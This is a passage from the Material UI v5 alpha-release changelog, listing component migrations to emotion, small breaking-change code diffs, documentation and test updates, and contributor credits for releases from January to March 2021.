Migrate Transfer List demos to emotion (#25253) @vicasas\n- [docs] Remove dead generatePropTypeDescription method (#25188) @fayzzzm\n- [docs] Migrate Skeleton demos to emotion (#25212) @vicasas\n- [docs] Migrate Paper demos to emotion (#25213) @vicasas\n- [docs] Migrate Container demos to emotion (#25220) @vicasas\n- [docs] Add GlobalStyles API (#25191) @eps1lon\n\n### Core\n\n- [benchmark] Set intended environment (#25402) @eps1lon\n- [core] Remove .propTypes when the props are empty (#25193) @eps1lon\n- [core] Fix allSettled usage (#25461) @eps1lon\n- [core] Switch to React 17 (#25416) @eps1lon\n- [core] Bump missed node versions (#25385) @eps1lon\n- [core] Batch small changes (#25330) @oliviertassinari\n- [core] Use Promise.allSettled over .all where appropriate (#25315) @eps1lon\n- [test] Use fixture terminology in e2e and visual regression tests (#25466) @eps1lon\n- [test] Create end-to-end testing CI job (#25405) @eps1lon\n- [test] Transpile more similar to prod bundle (#25406) @eps1lon\n- [test] Minor improvements to `describeConformance` (#25297) @eps1lon\n- [test] Fix warnings in the demos (#25140) @oliviertassinari\n- [test] Convert createClientRender to TypeScript (#25249) @eps1lon\n- [test] Increase ttp setup timeout (#25248) @eps1lon\n- [test] Improve typescript-to-proptypes test suite (#25209) @eps1lon\n\nAll contributors of this release in alphabetical order: @aheimlich, @AlfredoGJ, @BGehrels, @christiaan, @DanailH, @duongdev, @ee0pdt, @eps1lon, @fayzzzm, @heleg, @jansedlon, @jeferson-sb, @johnloven, @julihereu, @kayuapi, @LaneRamp, @m4theushw, @manziEric, @martinfrancois, @MikhailTSE, @natac13, @oliviertassinari, @praveenkumar-kalidass, @RTEYL, @saleebm, @silver-snoopy, @souporserious, @Tollwood, @tomasz-crozzroads, @tomasznguyen, @vedadeepta, @vicasas\n\n## 5.0.0-alpha.27\n\n<!-- generated comparing v5.0.0-alpha.26..next -->\n\n_Mar 5, 2021_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Convert 8 components to emotion (#25091, #25158, #25146, #25142, #25166) @natac13, @mngu, @m4theushw, @praveenkumar-kalidass.\n- 📚 Convert 5 components demos to emotion (#25164, #25183, #25180, #25145, #25138) @vicasas\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.27`\n\n- [Autocomplete] Support readonly type for the options (#25155) @silver-snoopy\n- [Drawer] Migrate to emotion (#25091) @natac13\n- [LinearProgress] Migrate to emotion (#25158) @mngu\n- [Pagination] Migrate Pagination and PaginationItem to emotion (#25146) @mngu\n- [Radio] Migrate to emotion (#25152) @mngu\n- [Snackbar] Migrate to emotion (#25142) @m4theushw\n- [SpeedDial] Migrate to emotion (#25166) @m4theushw\n- [Stepper] Migrate StepConnector to emotion (#25092) @praveenkumar-kalidass\n- [styled] Fix override logic to support component without root (#25143) @niting143\n- [Table] Remove default role logic in TableCell (#25105) @silver-snoopy\n- [Table] Use primary cover over secondary for selected state (#25182) @beaudry\n- [theme] Fix styleOverrides with nested selectors (#25156) @ruppysuppy\n\n### `@material-ui/system@5.0.0-alpha.27`\n\n- [system] Fix behavior of visuallyHidden when used with `sx` prop (#25110) @niting143\n\n### `@material-ui/lab@5.0.0-alpha.27`\n\n#### Breaking changes\n\n- [Pickers] Remove `dateAdapter` prop (#25162) @eps1lon\n\nThe prop didn't solve any important problem better than any of its alternatives do.\n\n```diff\n-<DatePicker dateAdapter={x} />\n+<LocalizationProvider dateAdapter={x}>\n+  <DatePicker />\n+</LocalizationProvider>\n```\n\n#### Changes\n\n- [Pickers][internal] Use React.forwardRef instead of forwardedRef prop (#25173) @eps1lon\n\n### `@material-ui/styles@5.0.0-alpha.27`\n\n- [styles] Use capitalize from utils (#25136) @eps1lon\n\n### Docs\n\n- [docs] Migrate Bottom navigation demos to emotion (#25180) @vicasas\n- [docs] Migrate Button demos to emotion (#25138) @vicasas\n- [docs] Migrate Divider demos to emotion (#25145) @vicasas\n- [docs] Migrate Pagination demos to emotion (#25183) @vicasas\n- [docs] Migrate Typography demos to emotion (#25164) @vicasas\n- [docs] Remove CircleCI from backers (#24801) @mbrookes\n- [docs] Update the used testing libraries (#25144) @oliviertassinari\n\n### Core\n\n- [changelog] Better document breaking changes @oliviertassinari\n- [core] Modernize icons `builder:src` (#25137) @eps1lon\n- [core] Properly use BABEL_ENV test and development (#25139) @eps1lon\n- [test] Add (manual) visual regression test for icons (#25160) @eps1lon\n\nAll contributors of this release in alphabetical order: @beaudry, @eps1lon, @m4theushw, @mbrookes, @mngu, @natac13, @niting143, @oliviertassinari, @praveenkumar-kalidass, @ruppysuppy, @silver-snoopy, @vicasas\n\n## 5.0.0-alpha.26\n\n<!-- generated comparing v5.0.0-alpha.25..next -->\n\n_Feb 27, 2021_\n\nA big thanks to the 26 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Convert 11 components to emotion (#24696, #24631, #24857, #25048, #24693, #24663, #25007, #24688, #24665, #24878, #24571) @praveenkuma @natac13 @xs9627 @povilass @m4theushw @natac13 @natac13 @DanailH @duganbrett @duganbrett @praveenkumar-kalidass @vinyldarkscratch.\n  75% of the components have been migrated so far, thanks to the help of the community.\n- 🦴 Convert 4 components to the unstyled pattern (#24985, #24857, #24890, #24957) @povilass.\n  This change doesn't introduce any breaking changes. Hence, most of the conversion effort will be done post v5-stable.\n- 📚 Fix the generation of the API pages for the date pickers (#25101, #25100, #25086, #25089, #25085, #25084) @eps1lon.\n  This is a follow-up effort after we have merged `material-ui-pickers`. The components are written in TypeScript which required us to upgrade our infra.\n- 👌 Improve the Slider thumb and track animation (#24968) @remyoudemans.\n  The thumb is now moving with a light transition between different values unless it's dragged.\n  <img src=\"https://user-images.githubusercontent.com/3165635/109394906-b7405a00-7929-11eb-829a-3b5246c30c08.gif\" width=\"412\" height=\"110\" alt=\"thumb-animation\" />\n- 💅 Convert 5 components with custom colors support (#25099, #25088) @mngu.\n  This change makes it easier to leverage custom palettes\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.26`\n\n#### Breaking changes\n\n- [Tabs] Change the default indicatorColor and textColor prop values to \"primary\" (#25063) @Dripcoding\n\n  This is done to match the most common use cases with Material Design. You can restore the previous behavior with:\n\n  ```diff\n  -<Tabs />\n  +<Tabs indicatorColor=\"secondary\" textColor=\"inherit\" />\n  ```\n\n#### Changes\n\n- [AppBar][circularprogress][LinearProgress] Support custom colors (#25099) @mngu\n- [Autocomplete] Prevent closing on no-option text click (#25103) @silver-snoopy\n- [Autocomplete] Fix ListboxComponent slot regression (#25102) @oliviertassinari\n- [Autocomplete] Fix the return type of AutocompleteGetTagProps (#24950) @joemaffei\n- [Autocomplete] Migrate to emotion (#24696) @natac13\n- [Button] Fix ripple stuck after displaying the context menu (#25004) @DanailH\n- [Button] Fix forward classes to ButtonBase (#25072) @praveenkumar-kalidass\n- [Chip] Normalize Material Design States (#24915) @oliviertassinari\n- [Chip] Fix focus-visible regression (#24906) @oliviertassinari\n- [CircularProgress] Make source easier to read (#24893) @oliviertassinari\n- [Menu] Migrate MenuItem to emotion (#24631) @xs9627\n- [Paper] Fix type support of overridable component (#25059) @mngu\n- [Skeleton] Fix global theme customization (#24983) @glocore\n- [Slider] Improve thumb and track animation (#24968) @remyoudemans\n- [Slider] Fix override of event.target when preparing change events (#24782) @praveenkumar-kalidass\n- [Snackbar] Migrate SnackbarContent to emotion (#25048) @m4theushw\n- [SwipeableDrawer] Fix detection of native scroll container (#24903) @oliviertassinari\n- [Switch] Migrate to emotion (#24693) @natac13\n- [Switch] Update to follow current MD guidelines (#24954) @hxqlin\n- [Table] Migrate TableCell to emotion (#24663) @natac13\n- [TextField] Support custom color and size (#25088) @mngu\n- [TextField] Fix input adornment color (#25090) @manziEric\n- [TextField] Fix FilledInput AA contrast issue (#25046) @Dripcoding\n- [TextField] Migrate FormControlLabel to emotion (#25007) @DanailH\n- [TextField] Fix label wrap, display an ellipsis instead (#25012) @NekoApocalypse\n- [TextField] Migrate OutlinedInput to emotion (#24688) @duganbrett\n- [TextField] Fix focused={true} disabled={true} infinite render (#24961) @oliviertassinari\n- [TextField] Migrate FormLabel and InputLabel to emotion (#24665) @duganbrett\n- [theme] Update theme.palette.text.secondary to match the spec (#25060) @Dripcoding\n- [ToggleButton] Migrate ToggleButtonGroup to emotion (#24878) @praveenkumar-kalidass\n- [Tooltip] Migrate to emotion (#24571) @vinyldarkscratch\n\n### `@material-ui/unstyled@5.0.0-alpha.26`\n\n- [Portal] Migrate to unstyled (#24890) @povilass\n- [FocusTrap] Migrate to unstyled (#24957) @povilass\n- [Backdrop] Migrate to unstyled (#24985) @povilass\n- [Modal] Migrate to emotion + unstyled (#24857) @povilass\n\n### `@material-ui/lab@5.0.0-alpha.26`\n\n- [Pickers] Fix scroll-jump when opening with a selected value (#25010) @eps1lon\n- [Pickers] Rework keyboard navigation implementation (#24315) @eps1lon\n- [Pickers] Fix picker components not opening on click in React 17 (#24981) @eps1lon\n- [Pickers] Fix outdated link to PickersDay (#24883) @oliviertassinari\n\n### `@material-ui/icons@5.0.0-alpha.26`\n\n- [icons] Synchronize icons (#25055) @eps1lon\n\n  The icons were synchronized with https://m2.material.io/resources/icons/. This change increases the number of supported icons from 1,349 to 1,781 per theme (we support 5 themes). The breaking changes:\n\n  ```diff\n   // AmpStories -> Download\n  -AmpStories\n  +Download\n  -AmpStoriesOutlined\n  +DownloadOutlined\n  -AmpStoriesRounded\n  +DownloadRounded\n  -AmpStoriesSharp\n  +DownloadSharp\n  -AmpStoriesTwoTone\n  +DownloadTwoTone\n   // Outbond -> Outbound\n  -Outbond\n  +Outbound\n  -OutbondOutlined\n  +OutboundOutlined\n  -OutbondRounded\n  +OutboundRounded\n  -OutbondSharp\n  +OutboundSharp\n  -OutbondTwoTone\n  +OutboundTwoTone\n  ```\n\n  We are getting closer to the maximum number of icons our infrastructure can support. In the future, we might remove the least popular icons in favor of the most frequently used ones.\n\n### `@material-ui/system@5.0.0-alpha.26`\n\n- [system] Fix gap, rowGap, columnGap, borderRadius reponsive support (#24994) @oliviertassinari\n\n### `@material-ui/utils@5.0.0-alpha.26`\n\n- [utils] Fix isMuiElement types (#24936) @oliviertassinari\n\n### Docs\n\n- [docs] Add DateRangePickerDay, PickersDay, PickersCalendarSkeleton, MontherPicker API (#25101) @eps1lon\n- [docs] Add DayPicker API (#25100) @eps1lon\n- [docs] Improve description of builderbook (#25086) @klyburke\n- [docs] Add API of ClockPicker (#25089) @eps1lon\n- [docs] Add API of \\*DateRangePicker components (#25085) @eps1lon\n- [docs] Add API of \\*DateTimePicker components (#25084) @eps1lon\n- [docs] Add graphql-starter to Example Projects (#25068) @koistya\n- [docs] Migrate Alert demos to emotion (#25074) @m4theushw\n- [docs] Add codesandbox example for styled-components (#25050) @jony89\n- [docs] Wrong link @oliviertassinari\n- [docs] Improve error message when GitHub API fail (#24976) @oliviertassinari\n- [docs] Separate simple and nested modal demos (#24938) @ydubinskyi\n- [docs] Remove under construction icons from DataGrid feature pages (#24946) @DanailH\n- [docs] Fix prefers-color-scheme switch (#24902) @oliviertassinari\n- [docs] Add yarn install step, safer @oliviertassinari\n- [examples] Fix CodeSandbox link GitHub branch (#24996) @kevbarns\n\n### Core\n\n- [core] Prevent out-of-memory in test_types_next (#25079) @eps1lon\n- [core] Pin playwright image to known working version (#25080) @eps1lon\n- [core] Remove need to reinject backdrop (#25071) @oliviertassinari\n- [core] Batch small changes (#25015) @oliviertassinari\n- [core] More cleanup on Pickers code (#25020) @dborstelmann\n- [core] Allow running full pipeline with various React versions (#25005) @eps1lon\n- [core] Fix missing codecov report (#25006) @eps1lon\n- [core] Fix release:tag pushing to first push remote (#24960) @eps1lon\n- [core] Fix cache miss when using playwright docker images (#24942) @eps1lon\n- [core] Prevent out-of-memory when type-checking in CI (#24933) @eps1lon\n- [core] Disable page size tracking (#24932) @eps1lon\n- [core] Extract linting into separate CI job (#24930) @eps1lon\n- [core] Only clone props if needed (#24892) @oliviertassinari\n- [core] listChangedFiles returns an empty list with no changed files (#24879) @eps1lon\n- [core] Remove dead code in docs:dev (#24880) @oliviertassinari\n- [core] Fix a few stylelint error (#24885) @oliviertassinari\n- [core] Fix name of Safari target (#24881) @oliviertassinari\n- [core] Prefer return over throw in chainPropTypes (#24882) @oliviertassinari\n- [core] Support /r/issue-template back (#24870) @oliviertassinari\n- [core] Simplify xxxClasses types (#24736) @oliviertassinari\n- [test] Improve BrowserStack configuration (#25049) @oliviertassinari\n- [test] Track bundle size of unstyled components (#25047) @oliviertassinari\n- [test] Make `render` required with describeConformanceV5 (#25003) @oliviertassinari\n- [test] Move a11y tree exclusion to appropriate document (#24998) @eps1lon\n- [test] Test with ClickAwayListener mount on onClickCapture (#25001) @eps1lon\n- [test] Improve various timer related issues (#24963) @eps1lon\n- [test] Avoid Rate Limit Exceeded (#24931) @oliviertassinari\n- [test] Remove internal icons smoke test (#24969) @eps1lon\n- [test] Reduce compile time of test:karma in watchmode drastically (#24967) @eps1lon\n- [test] Dedupe missing act warnings for HoC (#24949) @eps1lon\n- [test] Consolidate on a single API (#24884) @oliviertassinari\n- [test] Update react next patch (#24934) @eps1lon\n- [test] Link CircleCI URL in BS (#24935) @oliviertassinari\n- [test] Run more tests at the same time (#24886) @oliviertassinari\n- [test] Dedupe missing act warnings by component name (#24871) @eps1lon\n- [test] Enable type-unaware versions of disabled typed-aware lint rules (#24873) @eps1lon\n- [test] Initial workspace definition (#24869) @eps1lon\n- [test] Add current behavior of focus during mount in Popper (#24863) @eps1lon\n- [test] Increase BrowserStack timeout to 6min (#24861) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @DanailH, @dborstelmann, @Dripcoding, @duganbrett, @eps1lon, @glocore, @hxqlin, @joemaffei, @jony89, @kevbarns, @klyburke, @koistya, @m4theushw, @manziEric, @mngu, @natac13, @NekoApocalypse, @oliviertassinari, @povilass, @praveenkumar-kalidass, @remyoudemans, @silver-snoopy, @vinyldarkscratch, @xs9627, @ydubinskyi\n\n## 5.0.0-alpha.25\n\n<!-- generated comparing v5.0.0-alpha.24..next -->\n\n_Feb 11, 2021_\n\nA big thanks to the 30 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Convert 32 components to emotion. Around 64% of the components have been migrated so far, thanks to the help of the community. We aim to migrate them all before the end of Q1 2021.\n  The podium of the most active community members in the migration 🏆:\n  1. @natac13 x17\n  2. @vicasas x5\n  3. @kodai3 x4\n\n- 📐 Add a subset of MUI System as flattened props on `Typography` (#24496) @mnajdova.\n  Now, you can do:\n\n  ```jsx\n  <Typography padding={2} color=\"text.secondary\" />\n  ```\n\n- 📅 Focus on the date pickers, 5 fixes and 3 docs improvements.\n- 💅 Provide a new [`darkScrollbar()`](https://mui.com/components/css-baseline/#scrollbars) CSS utility to improve the native scrollbar in dark mode. The documentation uses it.\n\n### `@material-ui/core@5.0.0-alpha.25`\n\n#### Breaking changes\n\n- Increase the minimum version of TypeScript supported from v3.2 to v3.5. (#24795) @petyosi\n\n  We try to align with types released from [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped) (i.e. packages published on npm under the `@types` namespace).\n  We will not change the minimum supported version in a major version of Material UI.\n  However, we generally recommend to not use a TypeScript version older than the [lowest supported version of DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped#older-versions-of-typescript-33-and-earlier).\n\n#### Changes\n\n- [ImageList] Migrate to emotion (#24615) @kodai3\n- [Dialog] Migrate DialogTitle to emotion (#24623) @vicasas\n- [TextField] Prepare removal of labelWidth prop (#24595) @oliviertassinari\n- [ImageList] Migrate ImageListItem to emotion (#24619) @kodai3\n- [Card] Migrate CardMedia to emotion (#24625) @natac13\n- [Card] Migrate CardHeader to emotion (#24626) @natac13\n- [TextField] Migrate FilledInput to emotion (#24634) @mnajdova\n- [Fab] Migrate to emotion (#24618) @natac13\n- [ClickAwayListener] Fix `children` and `onClickAway` types (#24565) @eps1lon\n- [List] Migrate ListItemIcon to emotion (#24630) @vicasas\n- [Card] Migrate CardActionArea to emotion (#24636) @natac13\n- [DataTable] Add example in docs for data table (#24428) @DanailH\n- [CircularProgress] Migrate to emotion (#24622) @natac13\n- [ImageList] Migrate ImageListItemBar to emotion (#24632) @kodai3\n- [TextField] Migrate Input component to emotion (#24638) @duganbrett\n- [Tab] Migrate to emotion (#24651) @natac13\n- [Table] Migrate to emotion (#24657) @natac13\n- [List] Migrate ListItemAvatar to emotion (#24656) @vicasas\n- [TextField] Migrate FormControl to emotion (#24659) @duganbrett\n- [Table] Migrate TableContainer to emotion (#24666) @natac13\n- [Tab] Migrate TabScrollButton to emotion (#24654) @natac13\n- [Card] Warn on raised + outlined (#24648) @sumarlidason\n- [TextField] Migrate FormHelperText to emotion (#24661) @duganbrett\n- [Dialog] Migrate DialogContent to emotion (#24670) @vicasas\n- [Typography] Add system props (#24496) @mnajdova\n- [Paper] Improve warning on invalid combinations of variant and elevation (#24667) @eps1lon\n- [Chip] Migrate to emotion (#24649) @natac13\n- [ToggleButton] Migrate to emotion (#24674) @natac13\n- [Step] Migrate to emotion (#24678) @natac13\n- [Link] Fix CSS prefix property casing with emotion (#24701) @idanrozin\n- [Card] Use the default elevation (#24733) @oliviertassinari\n- [Typography] Remove align inherit noise (#24717) @oliviertassinari\n- [Dialog] Convert role `none presentation` to `presentation` (#24500) @hallzac2\n- [TextField] Improve baseline alignment with start adornment (#24742) @praveenkumar-kalidass\n- [Popper] Fix usage of ownerDocument with anchorEl (#24753) @ruppysuppy\n- [Table] Migrate TableBody to emotion (#24703) @natac13\n- [Table] Migrate TableRow to emotion (#24687) @natac13\n- [TextField] Migrate FormGroup to emotion (#24685) @vicasas\n- [CssBaseline] Make dark mode scrollbar overrides an optional function (#24780) @dborstelmann\n- [ButtonGroup] Migrate ButtonGroup to emotion (#24775) @mirefly\n- [Checkbox] Migrate to emotion (#24702) @natac13\n- [Table] Migrate TableHead to emotion (#24686) @natac13\n- [Table] Migrate TableFooter to emotion (#24684) @natac13\n- [Skeleton] Migrate to emotion (#24652) @kodai3\n\n### `@material-ui/system@5.0.0-alpha.25`\n\n#### Breaking changes\n\n- [system] Use spacing unit in `gap`, `rowGap`, and `columnGap` (#24794) @ruppysuppy\n\n  If you were using a number previously, you need to provide the value in `px` to bypass the new transformation with `theme.spacing`. The change was done for consistency with the Grid spacing prop and the other system spacing properties, for example `<Box padding={2}>`.\n\n  ```diff\n   <Box\n  -  gap={2}\n  +  gap=\"2px\"\n   >\n  ```\n\n### `@material-ui/styled-engine@5.0.0-alpha.25`\n\n- [styled-engine] Fix GlobalStyles not to throw when no theme is available (#24671) @mnajdova\n\n### `@material-ui/types@5.0.0-alpha.25`\n\n#### Breaking changes\n\n- [types] Rename the exported `Omit` type in `@material-ui/types`. (#24795) @petyosi\n  The module is now called `DistributiveOmit`. The change removes the confusion with the built-in `Omit` helper introduced in TypeScript v3.5. The built-in `Omit`, while similar, is non-distributive. This leads to differences when applied to union types. [See this Stack Overflow answer for further details](https://stackoverflow.com/a/57103940/1009797).\n\n```diff\n-import { Omit } from '@material-ui/types';\n+import { DistributiveOmit } from '@material-ui/types';\n```\n\n#### Changes\n\n- [types] Remove implicit children from PropInjector (#24746) @eps1lon\n\n### `@material-ui/lab@5.0.0-alpha.25`\n\n- [Pickers] Fix role attribute (#24621) @EkaterinaMozheiko\n- [Pickers] Fix `showTodayButton` not returning the current time (#24650) @anthonyraymond\n- [Pickers] Ensure components have a display name in DEV (#24676) @eps1lon\n- [Pickers] Fix more name inconsistencies (#24734) @oliviertassinari\n- [Pickers] Dismiss on clickaway when using the desktop variant (#24653) @eps1lon\n- [Pickers] Add missing periods at end of some descriptions (#24791) @fulin426\n- [Pickers] Enable YearPicker documentation (#24830) @oliviertassinari\n- [Pickers] Fix useState related console warnings in examples (#24848) @ydubinskyi\n\n### Docs\n\n- [docs] Add sorting section (#24637) @dtassone\n- [docs] Include in docs directive to silence `eslint` erroneous warning (#24644) @silviot\n- [docs] Clarifying the documentation about Chip behavior (#24645) @KarimOurrai\n- [docs] Update Typography in migration guide (#24662) @mbrookes\n- [examples] Update examples to use StyledEngineProvider (#24489) @mnajdova\n- [docs] Add API documentation for \\*DatePicker components (#24655) @eps1lon\n- [docs] Add HoodieBees to sponsors (#24735) @mbrookes\n- [docs] Fix indent @oliviertassinari\n- [docs] Make <main> responsive to font size (#24531) @eps1lon\n- [docs] Follow similar demo pattern for date and time pickers (#24739) @eps1lon\n- [docs] Add information about local dev environment (#24771) @plug-n-play\n- [docs] Add tcespal to Showcase (#24793) @ArnaultNouvel\n- [docs] Fix CssBaseline typography description (#24802) @xiaoyu-tamu\n- [docs] Add 'playlist' synonym to 'menu' (#24754) @Lagicrus\n- [docs] Add more similar icons (#24799) @oliviertassinari\n- [docs] Fix typo in the error message generated by createMuiTheme (#24827) @mbrookes\n- [examples] Align more with the v5 recommended approach (#24798) @Tejaswiangotu123\n- [docs] Update ButtonGroup demos to match v5 (#24797) @SCollinA\n- [docs] Fix formatting of `mask` prop description (#24842) @eps1lon\n- [docs] Add read synonym to drafts (#24854) @Lagicrus\n\n### Core\n\n- [core] Fix release:tag pushing to material-ui-docs (#24633) @eps1lon\n- [core] Fix `next` using stale pages (#24635) @eps1lon\n- [test] Skip JSDOM in style related conformance tests (#24668) @mnajdova\n- [test] Conformance to handle wrapped elements (#24679) @natac13\n- [core] Batch small changes (#24705) @oliviertassinari\n- [test] Run more tests in Strict Mode (#24646) @oliviertassinari\n- [test] Avoid visual flakiness (#24737) @oliviertassinari\n- [core] Remove deprecated SimplifiedPropsOf/Simplify types (#24750) @petyosi\n- [core] Disable type-checking of .propTypes (#24747) @eps1lon\n- [test] Allow setting react-dist-tag via pipeline parameter (#24755) @eps1lon\n- [test] Don't run dev CI for dependabot pushes (#24833) @eps1lon\n- [test] Isolate Tooltip tests more (#24834) @eps1lon\n- [test] Clear emotion cache between tests (#24837) @eps1lon\n- [core] Save/restore actual yarn cache folder (#24844) @eps1lon\n- [test] Increase timeout to 4000ms for screenshots (#24850) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @anthonyraymond, @ArnaultNouvel, @DanailH, @dborstelmann, @dtassone, @duganbrett, @EkaterinaMozheiko, @eps1lon, @fulin426, @hallzac2, @idanrozin, @KarimOurrai, @kodai3, @Lagicrus, @mbrookes, @mirefly, @mnajdova, @natac13, @oliviertassinari, @petyosi, @plug-n-play, @praveenkumar-kalidass, @ruppysuppy, @SCollinA, @silviot, @sumarlidason, @Tejaswiangotu123, @vicasas, @xiaoyu-tamu, @ydubinskyi\n\n## 5.0.0-alpha.24\n\n<!-- generated comparing v5.0.0-alpha.23..next -->\n\n_Jan 26, 2021_\n\nA big thanks to the 23 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Convert 31 components to emotion. Around 40% of the components have been migrated so far thanks to the help of the community.\n- 🐛 Fix two long-standing issues with the Grid. Solve the horizontal scrollbar as well as dimensions when nesting (#24332) @greguintow.\n- 📚 Fix various display issues on API documentation pages (#24526, #24503, #24504. #24517, #24417).\n- 📐 Add a subset of MUI System as flatten props on the CSS utility components (`Grid` and `Box` so far, `Typography` and `Stack` coming later) (#24485, #24499) @mnajdova.\n\n  ```jsx\n  <Box m={2}>\n  ```\n\n### `@material-ui/core@5.0.0-alpha.24`\n\n- [Dialog] Migrate DialogActions to emotion (#24613) @vicasas\n- [Toolbar] Migrate to emotion (#24567) @natac13\n- [Hidden] Fix unsupported props warning when sx prop is used (#24624) @mnajdova\n- [List] Migrate ListItemText to emotion (#24602) @natac13\n- [List] Migrate ListItemSecondaryAction to emotion (#24593) @xs9627\n- [BottomNavigation] Migrate to emotion (#24556) @vinyldarkscratch\n- [CardActions] Fix wrong classes export name (#24609) @mnajdova\n- [Card] Migrate CardContent to emotion (#24600) @vicasas\n- [Card] Migrate to emotion (#24597) @povilass\n- [TextField] Migrate InputBase to emotion (#24555) @duganbrett\n- [Accordion] Allow to disable gutter/spacing (#24532) @TimonPllkrn\n- [List] Migrate to emotion (#24560) @vinyldarkscratch\n- [Card] Migrate CardActions to emotion (#24604) @vicasas\n- [List] Migrate ListSubheader to emotion (#24561) @vinyldarkscratch\n- [Breadcrumbs] Migrate to emotion (#24522) @vinyldarkscratch\n- [Divider] Migrate to emotion (#24558) @vinyldarkscratch\n- [Switch] Migrate SwitchBase to emotion (#24552) @vinyldarkscratch\n- [Hidden] Migrate to emotion (#24544) @vinyldarkscratch\n- [List] Migrate ListItem to emotion (#24543) @xs9627\n- [TextField] Fix Google Translate zero-width space issue (#24563) @d3mp\n- [Table] Separate classes for different labels (#24568) @tonysepia\n- [Accordion] Migrate AccordionSummary to emotion (#24540) @vinyldarkscratch\n- [IconButton] Migrate to emotion (#24542) @vinyldarkscratch\n- [Accordion] Migrate AccordionActions to emotion (#24538) @vinyldarkscratch\n- [Accordion] Migrate AccordionDetails to emotion (#24539) @vinyldarkscratch\n- [Link] Migrate to emotion (#24529) @praveenkumar-kalidass\n- [Accordion] Migrate to emotion (#24518) @vinyldarkscratch\n- [Backdrop] Migrate to emotion (#24523) @vinyldarkscratch\n- [Grid] Add system props (#24499) @mnajdova\n- [Icon] Migrate to emotion (#24516) @vinyldarkscratch\n- [Collapse] Migrate to emotion (#24501) @vinyldarkscratch\n- [SvgIcon] Migrate to emotion (#24506) @oliviertassinari\n- [Avatar] Migrate AvatarGroup to emotion (#24452) @praveenkumar-kalidass\n- [Box] Add back system props (#24485) @mnajdova\n- [Alert] Migrate AlertTitle to emotion (#24448) @povilass\n- [Alert] Migrate to emotion (#24442) @kutnickclose\n- [l10n] Improve Hebrew translation (#24449) @eladmotola\n- [Checkbox][switch] Document defaultChecked (#24446) @praveenkumar-kalidass\n- [AppBar] Migrate to emotion (#24439) @povilass\n- [l10n] Improve German translation (#24436) @lukaselmer\n- [Button][badge] Support custom colors and sizes (#24408) @mnajdova\n- [Grid] Fix horizontal scrollbar and nested dimensions (#24332) @greguintow\n- [Grid] Migrate to emotion (#24395) @mnajdova\n- [Badge] Fix TS custom variants (#24407) @mnajdova\n\n### `@material-ui/lab@5.0.0-alpha.24`\n\n- [DatePicker] Remove unnecessary wrapping dom node (#24533) @mxsph\n- [DateRangePicker] Remove variant prop override for Textfield (#24433) @praveenkumar-kalidass\n- [lab] Reflect draft pattern of picker value in implementation (#24367) @eps1lon\n\n### `@material-ui/styled-engine@5.0.0-alpha.24`\n\n- [styled-engine] Rename StylesProvider to StyledEngineProvider (#24429) @mnajdova\n\n### `@material-ui/system@5.0.0-alpha.24`\n\n- [system] Fix handling of null-ish values (#24530) @oliviertassinari\n\n### `@material-ui/unstyled@5.0.0-alpha.24`\n\n- [unstyled] Convert composeClasses to TypeScript (#24396) @eps1lon\n\n### `@material-ui/utils@5.0.0-alpha.24`\n\n- [utils] `useEventCallback` `args` defaults to `unknown[]` (#24564) @eps1lon\n- [utils] Fix requirePropFactory to merge validators (#24423) @mnajdova\n\n### Docs\n\n- [examples] Patch preact example not working (#24616)\n- [docs] Add missing newline in component JSDoc (#24610) @eps1lon\n- [docs] Add API of picker components (#24497) @eps1lon\n- [examples] Add `locale` prop to the Nextjs Link component (#24596) @CyanoFresh\n- [docs] List required props first in /api/\\* (#24526) @eps1lon\n- [docs] Mention MUI System props when available in the API pages (#24503) @mnajdova\n- [docs] Improve system properties page (#24524) @mnajdova\n- [docs] Fix malformed component API description (#24504) @eps1lon\n- [docs] Fix ToC \"Component name\" fragment link on /api/\\* (#24517) @eps1lon\n- [docs] Fix ToC on /api pages linking to api-docs (#24515) @eps1lon\n- [docs] Add comment explaining specificity bump on Select (#24509) @KarimMokhtar\n- [docs] Compute spreadable from tests (#24490) @eps1lon\n- [docs] Fix label bug in stepper vertical demo (#24491) @artola\n- [docs] Update Divjoy URL (#24447) @mbrookes\n- [docs] Improve packages description (#24330) @oliviertassinari\n- [docs] Fix content-layout-shift (#24418) @oliviertassinari\n- [docs] Document default values of external props (#24417) @eps1lon\n- [docs] Update in-house ads (#24410) @mbrookes @ewldev\n\n### Core\n\n- [core] Skip downloading browser binaries in codesandbox/ci (#24628) @eps1lon\n- [core] Batch small changes (#24599) @oliviertassinari\n- [test] Simplify DatePicker tests (#24545) @eps1lon\n- [core] Improve pseudo classes overrides error (#24535) @mnajdova\n- [core] Fix styleProps to always contain all props (#24505) @mnajdova\n- [test] Fix AvatarGroup failing test (#24512) @mnajdova\n- [pickers] Sort tests (#24481) @eps1lon\n- [test] Split tests in describeConformanceV5 to isolate them (#24479) @mnajdova\n- [core] Do not forward classes prop by default in experimentalStyled (#24451) @mnajdova\n- [core] Pass styleProps on all slots in the styled() components (#24454) @mnajdova\n- [core] Batch small changes (#24445) @oliviertassinari\n- [core] Normalize generating declaration files (#24411) @eps1lon\n\nAll contributors of this release in alphabetical order: @artola, @CyanoFresh, @d3mp, @duganbrett, @eladmotola, @eps1lon, @ewldev, @greguintow, @KarimMokhtar, @kutnickclose, @lukaselmer, @mbrookes, @mnajdova, @mxsph, @natac13, @oliviertassinari, @povilass, @praveenkumar-kalidass, @TimonPllkrn, @tonysepia, @vicasas, @vinyldarkscratch, @xs9627\n\n## 5.0.0-alpha.23\n\n_Jan 14, 2021_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 📚 Only document public paths in module augmentation (#24267) @eps1lon\n- 👩‍🎤 Migrate the Paper and CssBaseline to emotion (#24397, #24176) @povilass @mnajdova\n\n  We have reached a point where we feel confident that the new approach should make it to v5 stable. An issue has been created to track the progress with the migration to emotion: #24405. Your contribution to this effort and the ones from the community are welcome 🙌.\n\n- 📅 Various improvements on the date picker components (#24301, #24309, #24275, #24298, #24319) 